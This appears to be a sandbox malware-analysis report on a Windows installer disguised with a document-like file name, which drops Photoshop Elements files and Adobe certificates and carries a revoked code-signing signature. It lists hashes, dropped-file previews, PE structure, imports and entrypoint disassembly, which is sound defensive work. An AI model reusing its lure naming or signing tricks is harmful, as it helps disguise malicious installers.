                                                                                                Preview:.PNG........IHDR...z..........Ay.....sBIT....|.d... .IDATx^...dWy..U.'.(."(#....H(..&K...0a...m..,^.X..Y2.......QB $!..(.Q...=.9W......)uuu....s...U..{.{..~.$.......@@ ...........@@ ...3.$..3}.............@@ ........@..@.........@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..]N......04' ..............@"....Z.......D......^.i.r@ ..........9.@5bW..9.FhL@`/A`........_h###V($..LX"..d2.....g..Y...($-...`9

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\index.html

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:HTML document, Unicode text, UTF-8 text, with very long lines (484), with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):4509
                                                                                                Entropy (8bit):5.497933185923274
                                                                                                Encrypted:false
                                                                                                SSDEEP:96:hSq8uLYbW1sfMUKJpmtqunn4TJPxqfR7vzf:sX+QQaym6CZ7
                                                                                                MD5:348352BAA22F54466691B8673B6B6C93
                                                                                                SHA1:5F6606EA02606FEC542690E80273AA5FFAAFF0AE
                                                                                                SHA-256:39E5810ACB9489EDF3918ADB3746255866975AFC1F6AB65FFC2BA598C505D2B1
                                                                                                SHA-512:F2749AE136CA182DF2D0FE31DDED8069D8AD915AA8BEEC02871A675BE8F0666042B5E91F4DB39F751A4AECB240DCDB1A23377EB4107EA77FB5B0A478090135D3
                                                                                                Malicious:false
                                                                                                Preview:<!DOCTYPE html>..<html>..<head>...<meta charset="UTF-8">..<title>PSE installer slideshow</title>..<meta name="viewport" content="width=device-width, initial-scale=1">...<link href="https://use.typekit.net/af/c2b3ac/0000000000000000000176ff/27/l?unicode=AAAIKgAAAAeBbOxmgCK-MdR34PEMRZ1Tp9CwbKr4ekaVGobt7iigFXgNffcWrPD_gJGcqz4xm1ZHNxQko2H768-q_TQrRlbWnqbTqCadCnzX6SMLdOBM8TwhjODtXWG7u6eXofuwSXdUrzPUKbfKpbP6PlW4uDR0-6_uxx_z2oPZb3FtGAlPVL4uieBXWVbsZ4asc6c4x6xRdBebJFZn5j3znnW2M2LSxdS-vENrhYjQcGpEJr10KhGz9SJjgjddqPchFHp-i9IDPTig_GvFioJvHs2SJsCuNUs-qApsimZXK9dDrVIGetZ_W6VrfDwKAGEfm-zn0HbNFllfrTmy7jrTddn22c9_90qThgAAAE4&features=ALL&v=3" rel="stylesheet">...<link rel="stylesheet" href="css/styles.css">......<style>.....html {....background-color: #fff;.....}..* {box-sizing: border-box;}..body {...margin:0px;}...mySlides {opacity: 0; position: absolute; transition: all 1s;}..img {vertical-align: middle;}..../* Slideshow container */...slideshow-container {.. max-width: 445px;.. position: relativ

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\lib\jquery.min.js

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:ASCII text, with very long lines (65482), with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):93637
                                                                                                Entropy (8bit):5.292996107428883
                                                                                                Encrypted:false
                                                                                                SSDEEP:1536:96IzxETpavYSGaW4snuHEk/yosnSFngC/VEEG0vd0KO4emAp2LSEMBoviR+I1z5T:v+vIklosn/BLXjxzMhsSQ
                                                                                                MD5:E1288116312E4728F98923C79B034B67
                                                                                                SHA1:8B6BABFF47B8A9793F37036FD1B1A3AD41D38423
                                                                                                SHA-256:BA6EDA7945AB8D7E57B34CC5A3DD292FA2E4C60A5CED79236ECF1A9E0F0C2D32
                                                                                                SHA-512:BF28A9A446E50639A9592D7651F89511FC4E583E213F20A0DFF3A44E1A7D73CEEFDB6597DB121C7742BDE92410A27D83D92E2E86466858A19803E72A168E5656
                                                                                                Malicious:false
                                                                                                Preview:/*! jQuery v1.8.3 jquery.com | jquery.org/license */..(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e||!e.parentNode||e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t||0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t

                                                                                                C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\906CC149415780CFB79F39E1CF449F87CA6D4D16

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:data
                                                                                                Category:dropped
                                                                                                Size (bytes):1518
                                                                                                Entropy (8bit):7.588791412640909
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:ZgAZ/2W8ZZ/2SdX6NI9mrhJdx1mOhArrVSJPWenYGJCdf06YIb04SG2MJDh/fTZg:ZgsO3nOSSNjrhAHEKGSnA4DHgt
                                                                                                MD5:473450263C9E21654E11B09438C1D075
                                                                                                SHA1:EDEE3F4751AE9330FDD5E48E4BAA05E6B2449F50
                                                                                                SHA-256:3EC90F71BDD0F6B655A480622507BB21D0327D2FC4E61F7AC315D64879328D94
                                                                                                SHA-512:A4F59F8C1B6736A0E05C64137CEBCE10EA0D063B7ABC09289BE81101C0C7559B0F70B8BC42B4386015DDD31645E12A064DD65D9B778EF6ED57E2AF61523A1487
                                                                                                Malicious:false
                                                                                                Preview:.............l.IAW...9..D...mM. ...........0...0..........&..a0...*.H........0..1.0...U....US1.0...U....California1.0...U....San Jose1.0...U....Adobe Systems1.0...U....Cloud Technology1#0!..U....Adobe Intermediate CA 10-40...180820132000Z..250818132000Z0..1.0...U....US1.0...U....California1.0...U....San Jose1.0...U....Adobe Systems1.0...U....Cloud Technology1'0%..U....Adobe Content Certificate 10-60.."0...*.H.............0.........{r.'..sV....S....Y....v. .....Z...6.68..g.\2N..1.*%.`u.;..|.4K2..&%B..X..\i.......?v-X....XBl...>..-s....F.N..].....~....$S...Q.... .......>.}.par..PH..e.v8`..8........&%...t.j[.`..SD.#P..CO........4p..0.9tA..W...c.6..D.'..X-.e....<..xN..N.|.....{ .%....sx..y.RtG......:.e.*.....>.[.E.K....#..X.sXI.['..woc-...<5F.C........_o...P...+.dI..G'...)......q...8..#j...}..w.c.C...tc.Q......9E...j;o..9.td.^4.T&Anv.-I......1..K...iW6...#2.......CKI..Z.\.f.8s9.@3....9.....,U........=xX.L.Uz..W...... 0.0...U...........0...U.......0.0...*.H.......

                                                                                                C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\BF89E52F8D681360E6B84941BD2F9BC0093309F6

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:data
                                                                                                Category:dropped
                                                                                                Size (bytes):1511
                                                                                                Entropy (8bit):7.661447951575745
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:Z9PyzmYZ/2uffZ/2W8N0jrxcONWfo9rQBE8VQldBrIKsh0UlToNMhcg/Woqr8YaJ:Z9DUOupO3WjrxPNMQrQBEOQXBcKsh0Ut
                                                                                                MD5:5812A52C2B6DD2B88003576B8F0D287F
                                                                                                SHA1:3BB6985E363806134D6BC3D5B7032F5BF8F8FA4B
                                                                                                SHA-256:B6E955415746442F11B8D0859024ADAC9003EB1BEFE9EDBBE2D47412231B32A6
                                                                                                SHA-512:7F89657064C554844A104D89EB90D15195C18E3D9FF6832A151DF4D69FC40EA0F0EF7B914384B9E052980FD955D2A24116ED4161E1983C0F11C76346D639CBA0
                                                                                                Malicious:false
                                                                                                Preview:.............../.h.`.IA./...3.. ...........0...0..........s-).0...*.H........0..1.0...U....US1.0...U....California1.0...U....San Jose1.0...U....Adobe Systems1.0...U....Cloud Technology1.0...U....Adobe Root CA 10-30 ..180817173759Z..20680804173759Z0..1.0...U....US1.0...U....California1.0...U....San Jose1.0...U....Adobe Systems1.0...U....Cloud Technology1#0!..U....Adobe Intermediate CA 10-40.."0...*.H.............0...........2.....b....."..O./"=..}m.?xv.;<x......y.p*.....0..ZFa.4.|."|...;*.E!>...'u....s.1..Q..b.gQP...|.(..l..m....-o...P}|..n...]..".K4k.Q.N...3.E..eg.D+.*....vo...zIF.G.......)l#..S.....].m.[....Z..X..I..,..a..x..LH...Vcw...L.E.M.^+...!..d".....!..WQ+T..kM.......j ....J>&....S....3.;=e...`.h.&................Xhd......H...Xr5......C..X.}J.a.9a.3.3.;...m..DB...ZJ....cS+=.r......iR..8.-s............)...Sa....2.c..G.F..4.#..@.8..{.v..~...Z......s.NMA.~.,..c..2....{.N...A.C.Mai..0q...\........>.......#0!0...U...........0...U.......0....0...*.H.............'

                                                                                                C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\D1DF7F06B769BCCB3F4479041EC1F06E9CD3CB1A

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:data
                                                                                                Category:dropped
                                                                                                Size (bytes):1511
                                                                                                Entropy (8bit):7.622242905685942
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:ZqyzzYZ/2uJZ/2W8wQ0EH8kc9q+BVTm5n3z3F33iylTfUGuchw67xE0/YSmIXO:ZVUOuXO33O9q0VTm5TF3RNUGZV7de
                                                                                                MD5:76FC3770A8D703B19F629CF39C6AB29B
                                                                                                SHA1:3832C78D38CE954DCB42AC17FE467BF021C30845
                                                                                                SHA-256:6053CA69A7265B0C5B940AC96B4127537427D914D79AF5BE6DD3621CF7F48561
                                                                                                SHA-512:2D540D42E48DC6A2B57DFA930B6B91B8A4FFDB7781148795D6A722C0578C6B26430075AA653D1A0886FD518D94692185B980EA8DE65059CA8989DABE24453F7D
                                                                                                Malicious:false
                                                                                                Preview:.................i..?Dy....n.... ...........0...0..........v.R.0...*.H........0..1.0...U....US1.0...U....California1.0...U....San Jose1.0...U....Adobe Systems1.0...U....Cloud Technology1.0...U....Adobe Root CA 10-30 ..180817173758Z..20680804173758Z0..1.0...U....US1.0...U....California1.0...U....San Jose1.0...U....Adobe Systems1.0...U....Cloud Technology1#0!..U....Adobe Intermediate CA 10-30.."0...*.H.............0...........*..``'....T'Ag....a......F........Je....+.f..y"Q....Iq%..c..^..xq..M.je-......g.M.;f.8....+<I`.h....=..R...c. 0.L.!...q..mV...m.5..@S...s..2<...........6.s*.a...,.fN.R....f.......~6.;..@...i.......f..jB....i.y..].~.....%...:Q..A...........u~..,...6.s5X.V.........*|.. w..i`N.X.-....a...H;0..@..Fb:.c@\..gg.....z-N&.....E.{..pcM.&...Z@.."..T.)F4...o..IL.....d.`...A.....+`s.!./.........?..^m.,'...$-..NZ*.N....y...'..?.....Y./B.b..\.l......9lw.........R.1.7.....vd....@.9..t...),.......#0!0...U...........0...U.......0....0...*.H.............{

                                                                                                C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\F0BD97B4EC6CD8B71C35631738259CF9F2E54381

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:data
                                                                                                Category:dropped
                                                                                                Size (bytes):1518
                                                                                                Entropy (8bit):7.64262473907766
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:ZgsAZ/2W89DKZ/2Sol0s+9FYLUd4xkSJyZDA4lbxGuEleNUkGbJQJf8e2+:ZTsO3VqOSK+kLUVlFGuEleCkGbJQJfNB
                                                                                                MD5:8372619510C190AF2922A2E94508E3EF
                                                                                                SHA1:3C50B758777345087D653E2BE8FF12B3B2B54023
                                                                                                SHA-256:EAC15573507ECDCC401580981D7EF85B1575B7B7E0BA8A4A1EA26F630B4F4B69
                                                                                                SHA-512:745B230AB52F9C0510A6E1E1FA4B96C187943D0B6883925BEDF3F825BB87557BC6FC25708ED86AA8EB6152B5011BE7AFB8709D6DB8996BA88E2D38C7248A1CD2
                                                                                                Malicious:false
                                                                                                Preview:...............l..5c.8%....C. ...........0...0..........hQ*@0...*.H........0..1.0...U....US1.0...U....California1.0...U....San Jose1.0...U....Adobe Systems1.0...U....Cloud Technology1#0!..U....Adobe Intermediate CA 10-30...180820131842Z..250818131842Z0..1.0...U....US1.0...U....California1.0...U....San Jose1.0...U....Adobe Systems1.0...U....Cloud Technology1'0%..U....Adobe Content Certificate 10-50.."0...*.H.............0.........K8uU.T..u.$.BU...."mx.....a(......DN....3.EQ....%p...F,.....D..._...H.....M...oL...<..G..';.KTE...X......F*E....x......h.............PH..t4.Yw....Ci4...fCI.[....Q.;?..o.;.BC....M....*.K..11.1i.......".....~..=.M..'D.g9B.n.i..U..6..b..p#.z./.h.x.....w.K.,...tIq..r..Z.2..j.9.........{up..w...>3.....N.. .$....Q.g.A....p..P...X}Iq..z$....x.5.......:.$.c..Z..jKR."..l...Y.*....UG.6..@.,T.|)....`R..j9..B....+..$4..y..m]=.......feN.V......'.."...{.&.......a......y.....)bf@..@,..B{WQ.).......... 0.0...U...........0...U.......0.0...*.H.......

                                                                                                Static File Info

                                                                                                General

                                                                                                File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                Entropy (8bit):7.993907634477875
                                                                                                TrID:
                                                                                                • Win32 Executable (generic) a (10002005/4) 98.45%
                                                                                                • Inno Setup installer (109748/4) 1.08%
                                                                                                • Win32 EXE PECompact compressed (generic) (41571/9) 0.41%
                                                                                                • Win16/32 Executable Delphi generic (2074/23) 0.02%
                                                                                                • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                File name:Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe
                                                                                                File size:321'527'232 bytes
                                                                                                MD5:988955bfa46336be7eb44f11f5427699
                                                                                                SHA1:86f277c2e39af1a01575c30f601c4c411297c78e
                                                                                                SHA256:1c01b0f68306375e4cc9209e2bbb94965fbb943b75946a390a53fd05bb9b3c16
                                                                                                SHA512:5b1197c9359c7e4ac0b64b828b47117310deb7c8a22d4e21f675d20826db18707abab870308af5df1fd2bf30776cd8c159d0bb4c2dfaf7b55e7e409b7df6ad83
                                                                                                SSDEEP:196608:jxq37itqtgE0DWAjzkUz4fs8d3gpnwu3KbPZmHt+kFzO7/:dptqf5+z6s+7/oHtN+
                                                                                                TLSH:A4E8F2AF5BFA13A2911DDDF74C4C770C0E41BBF0E03B55281A5299EA846F6691C312AF
                                                                                                File Content Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

                                                                                                File Icon

                                                                                                Icon Hash:74f4e4dce4f2e4e4

                                                                                                Static PE Info

                                                                                                General

                                                                                                Entrypoint:0x4b5eec
                                                                                                Entrypoint Section:.itext
                                                                                                Digitally signed:true
                                                                                                Imagebase:0x400000
                                                                                                Subsystem:windows gui
                                                                                                Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
                                                                                                DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                                                                                Time Stamp:0x63ECF218 [Wed Feb 15 14:54:16 2023 UTC]
                                                                                                TLS Callbacks:
                                                                                                CLR (.Net) Version:
                                                                                                OS Version Major:6
                                                                                                OS Version Minor:1
                                                                                                File Version Major:6
                                                                                                File Version Minor:1
                                                                                                Subsystem Version Major:6
                                                                                                Subsystem Version Minor:1
                                                                                                Import Hash:e569e6f445d32ba23766ad67d1e3787f

                                                                                                Authenticode Signature

                                                                                                Signature Valid:false
                                                                                                Signature Issuer:CN=SSL.com EV Code Signing Intermediate CA RSA R3, O=SSL Corp, L=Houston, S=Texas, C=US
                                                                                                Signature Validation Error:A certificate was explicitly revoked by its issuer
                                                                                                Error Number:-2146762484
                                                                                                Not Before, Not After
                                                                                                • 30/08/2023 22:48:33 29/08/2024 22:48:33
                                                                                                Subject Chain
                                                                                                • OID.1.3.6.1.4.1.311.60.2.1.3=UA, OID.2.5.4.15=Private Organization, CN="\u0422\u041e\u0412 ""\u0411\u043b\u0443 \u0421\u0435\u0438\u0306\u043b \u041a\u043e\u043c\u043e\u0434\u0456\u0442\u0456""", SERIALNUMBER=45224266, O="\u0422\u041e\u0412 ""\u0411\u043b\u0443 \u0421\u0435\u0438\u0306\u043b \u041a\u043e\u043c\u043e\u0434\u0456\u0442\u0456""", L=Kyiv, C=UA
                                                                                                Version:3
                                                                                                Thumbprint MD5:E3879A408A72E758696236F0DE306403
                                                                                                Thumbprint SHA-1:949F349032F495EC682A1D6A58D892ED9145A2ED
                                                                                                Thumbprint SHA-256:77D7E2BFC769C1376E1F55398D0D08987C0FF3A08CF6897FCDC0932019D739C2
                                                                                                Serial:27987C7E3C455F499B18AFD03B3CBBDF

                                                                                                Entrypoint Preview

                                                                                                Instruction
                                                                                                push ebp
                                                                                                mov ebp, esp
                                                                                                add esp, FFFFFFA4h
                                                                                                push ebx
                                                                                                push esi
                                                                                                push edi
                                                                                                xor eax, eax
                                                                                                mov dword ptr [ebp-3Ch], eax
                                                                                                mov dword ptr [ebp-40h], eax
                                                                                                mov dword ptr [ebp-5Ch], eax
                                                                                                mov dword ptr [ebp-30h], eax
                                                                                                mov dword ptr [ebp-38h], eax
                                                                                                mov dword ptr [ebp-34h], eax
                                                                                                mov dword ptr [ebp-2Ch], eax
                                                                                                mov dword ptr [ebp-28h], eax
                                                                                                mov dword ptr [ebp-14h], eax
                                                                                                mov eax, 004B14B8h
                                                                                                call 00007F639083E135h
                                                                                                xor eax, eax
                                                                                                push ebp
                                                                                                push 004B65E2h
                                                                                                push dword ptr fs:[eax]
                                                                                                mov dword ptr fs:[eax], esp
                                                                                                xor edx, edx
                                                                                                push ebp
                                                                                                push 004B659Eh
                                                                                                push dword ptr fs:[edx]
                                                                                                mov dword ptr fs:[edx], esp
                                                                                                mov eax, dword ptr [004BE634h]
                                                                                                call 00007F63908E0C27h
                                                                                                call 00007F63908E077Ah
                                                                                                lea edx, dword ptr [ebp-14h]
                                                                                                xor eax, eax
                                                                                                call 00007F6390853BD4h
                                                                                                mov edx, dword ptr [ebp-14h]
                                                                                                mov eax, 004C1D84h
                                                                                                call 00007F6390838D27h
                                                                                                push 00000002h
                                                                                                push 00000000h
                                                                                                push 00000001h
                                                                                                mov ecx, dword ptr [004C1D84h]
                                                                                                mov dl, 01h
                                                                                                mov eax, dword ptr [004238ECh]
                                                                                                call 00007F6390854D57h
                                                                                                mov dword ptr [004C1D88h], eax
                                                                                                xor edx, edx
                                                                                                push ebp
                                                                                                push 004B654Ah
                                                                                                push dword ptr fs:[edx]
                                                                                                mov dword ptr fs:[edx], esp
                                                                                                call 00007F63908E0CAFh
                                                                                                mov dword ptr [004C1D90h], eax
                                                                                                mov eax, dword ptr [004C1D90h]
                                                                                                cmp dword ptr [eax+0Ch], 01h
                                                                                                jne 00007F63908E6ECAh
                                                                                                mov eax, dword ptr [004C1D90h]
                                                                                                mov edx, 00000028h
                                                                                                call 00007F639085564Ch
                                                                                                mov edx, dword ptr [004C1D90h]

                                                                                                Data Directories

                                                                                                NameVirtual AddressVirtual Size Is in Section
                                                                                                IMAGE_DIRECTORY_ENTRY_EXPORT0xc40000x9a.edata
                                                                                                IMAGE_DIRECTORY_ENTRY_IMPORT0xc20000xfdc.idata
                                                                                                IMAGE_DIRECTORY_ENTRY_RESOURCE0xc70000xe2d8.rsrc
                                                                                                IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                IMAGE_DIRECTORY_ENTRY_SECURITY0x1329f7600x2660
                                                                                                IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                IMAGE_DIRECTORY_ENTRY_TLS0xc60000x18.rdata
                                                                                                IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                IMAGE_DIRECTORY_ENTRY_IAT0xc22f40x254.idata
                                                                                                IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0xc30000x1a4.didata
                                                                                                IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                Sections

                                                                                                NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                .text0x10000xb39e40xb3a0043af0a9476ca224d8e8461f1e22c94daFalse0.34525867693110646data6.357635049994181IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                .itext0xb50000x16880x1800185e04b9a1f554e31f7f848515dc890cFalse0.54443359375data5.971425428435973IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                .data0xb70000x37a40x3800cab2107c933b696aa5cf0cc6c3fd3980False0.36097935267857145data5.048648594372454IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                .bss0xbb0000x6de80x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                .idata0xc20000xfdc0x1000e7d1635e2624b124cfdce6c360ac21cdFalse0.3798828125data5.029087481102678IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                .didata0xc30000x1a40x2008ced971d8a7705c98b173e255d8c9aa7False0.345703125data2.7509822285969876IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                .edata0xc40000x9a0x2008d4e1e508031afe235bf121c80fd7d5fFalse0.2578125data1.877162954504408IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                .tls0xc50000x180x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                .rdata0xc60000x5d0x2008f2f090acd9622c88a6a852e72f94e96False0.189453125data1.3838943752217987IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                .rsrc0xc70000xe2d80xe400739e4a2ee14664b0b549d68dd1dc5fa1False0.3200212445175439data5.068492958484433IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                Resources

                                                                                                NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                RT_ICON0xc75280x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088EnglishUnited States0.45390070921985815
                                                                                                RT_ICON0xc79900x988Device independent bitmap graphic, 24 x 48 x 32, image size 2400EnglishUnited States0.29098360655737704
                                                                                                RT_ICON0xc83180x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishUnited States0.20825515947467166
                                                                                                RT_ICON0xc93c00x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9600EnglishUnited States0.12468879668049793
                                                                                                RT_ICON0xcb9680x4228Device independent bitmap graphic, 64 x 128 x 32, image size 16896EnglishUnited States0.08573452999527634
                                                                                                RT_ICON0xcfb900x2756PNG image data, 256 x 256, 8-bit/color RGBA, non-interlacedEnglishUnited States0.9509433962264151
                                                                                                RT_STRING0xd22e80x360data0.34375
                                                                                                RT_STRING0xd26480x260data0.3256578947368421
                                                                                                RT_STRING0xd28a80x45cdata0.4068100358422939
                                                                                                RT_STRING0xd2d040x40cdata0.3754826254826255
                                                                                                RT_STRING0xd31100x2d4data0.39226519337016574
                                                                                                RT_STRING0xd33e40xb8data0.6467391304347826
                                                                                                RT_STRING0xd349c0x9cdata0.6410256410256411
                                                                                                RT_STRING0xd35380x374data0.4230769230769231
                                                                                                RT_STRING0xd38ac0x398data0.3358695652173913
                                                                                                RT_STRING0xd3c440x368data0.3795871559633027
                                                                                                RT_STRING0xd3fac0x2a4data0.4275147928994083
                                                                                                RT_RCDATA0xd42500x10data1.5
                                                                                                RT_RCDATA0xd42600x2c4data0.6384180790960452
                                                                                                RT_RCDATA0xd45240x2cdata1.1590909090909092
                                                                                                RT_GROUP_ICON0xd45500x5adataEnglishUnited States0.8111111111111111
                                                                                                RT_VERSION0xd45ac0x584dataEnglishUnited States0.273371104815864
                                                                                                RT_MANIFEST0xd4b300x7a8XML 1.0 document, ASCII text, with CRLF line terminatorsEnglishUnited States0.3377551020408163

                                                                                                Imports

                                                                                                DLLImport
                                                                                                kernel32.dllGetACP, GetExitCodeProcess, LocalFree, CloseHandle, SizeofResource, VirtualProtect, VirtualFree, GetFullPathNameW, ExitProcess, HeapAlloc, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetModuleHandleW, FreeLibrary, HeapDestroy, ReadFile, CreateProcessW, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, CreateThread, CompareStringW, LoadLibraryA, ResetEvent, GetVersion, RaiseException, FormatMessageW, SwitchToThread, GetExitCodeThread, GetCurrentThread, LoadLibraryExW, LockResource, GetCurrentThreadId, UnhandledExceptionFilter, VirtualQuery, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, LoadResource, SuspendThread, GetTickCount, GetFileSize, GetStartupInfoW, GetFileAttributesW, InitializeCriticalSection, GetSystemWindowsDirectoryW, GetThreadPriority, SetThreadPriority, GetCurrentProcess, VirtualAlloc, GetSystemInfo, GetCommandLineW, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, VerSetConditionMask, GetDiskFreeSpaceW, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetLocalTime, GetEnvironmentVariableW, WaitForSingleObject, WriteFile, ExitThread, DeleteCriticalSection, TlsGetValue, GetDateFormatW, SetErrorMode, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, CreateEventW, SetThreadLocale, GetThreadLocale
                                                                                                comctl32.dllInitCommonControls
                                                                                                version.dllGetFileVersionInfoSizeW, VerQueryValueW, GetFileVersionInfoW
                                                                                                user32.dllCreateWindowExW, TranslateMessage, CharLowerBuffW, CallWindowProcW, CharUpperW, PeekMessageW, GetSystemMetrics, SetWindowLongW, MessageBoxW, DestroyWindow, CharUpperBuffW, CharNextW, MsgWaitForMultipleObjects, LoadStringW, ExitWindowsEx, DispatchMessageW
                                                                                                oleaut32.dllSysAllocStringLen, SafeArrayPtrOfIndex, VariantCopy, SafeArrayGetLBound, SafeArrayGetUBound, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, VariantChangeType, SafeArrayCreate
                                                                                                netapi32.dllNetWkstaGetInfo, NetApiBufferFree
                                                                                                advapi32.dllConvertStringSecurityDescriptorToSecurityDescriptorW, RegQueryValueExW, AdjustTokenPrivileges, GetTokenInformation, ConvertSidToStringSidW, LookupPrivilegeValueW, RegCloseKey, OpenProcessToken, RegOpenKeyExW

                                                                                                Exports

                                                                                                NameOrdinalAddress
                                                                                                TMethodImplementationIntercept30x4541a8
                                                                                                __dbk_fcall_wrapper20x40d0a0
                                                                                                dbkFCallWrapperAddr10x4be63c

                                                                                                Possible Origin

                                                                                                Language of compilation systemCountry where language is spokenMap
                                                                                                EnglishUnited States

                                                                                                Network Behavior

                                                                                                ⊘No network behavior found

                                                                                                Statistics

                                                                                                CPU Usage

                                                                                                Click to jump to process

                                                                                                Memory Usage

                                                                                                Click to jump to process

                                                                                                High Level Behavior Distribution

                                                                                                Click to dive into process behavior distribution

                                                                                                Behavior

                                                                                                Click to jump to process

                                                                                                System Behavior

                                                                                                General

                                                                                                Target ID:0
                                                                                                Start time:14:07:38
                                                                                                Start date:13/11/2024
                                                                                                Path:C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe
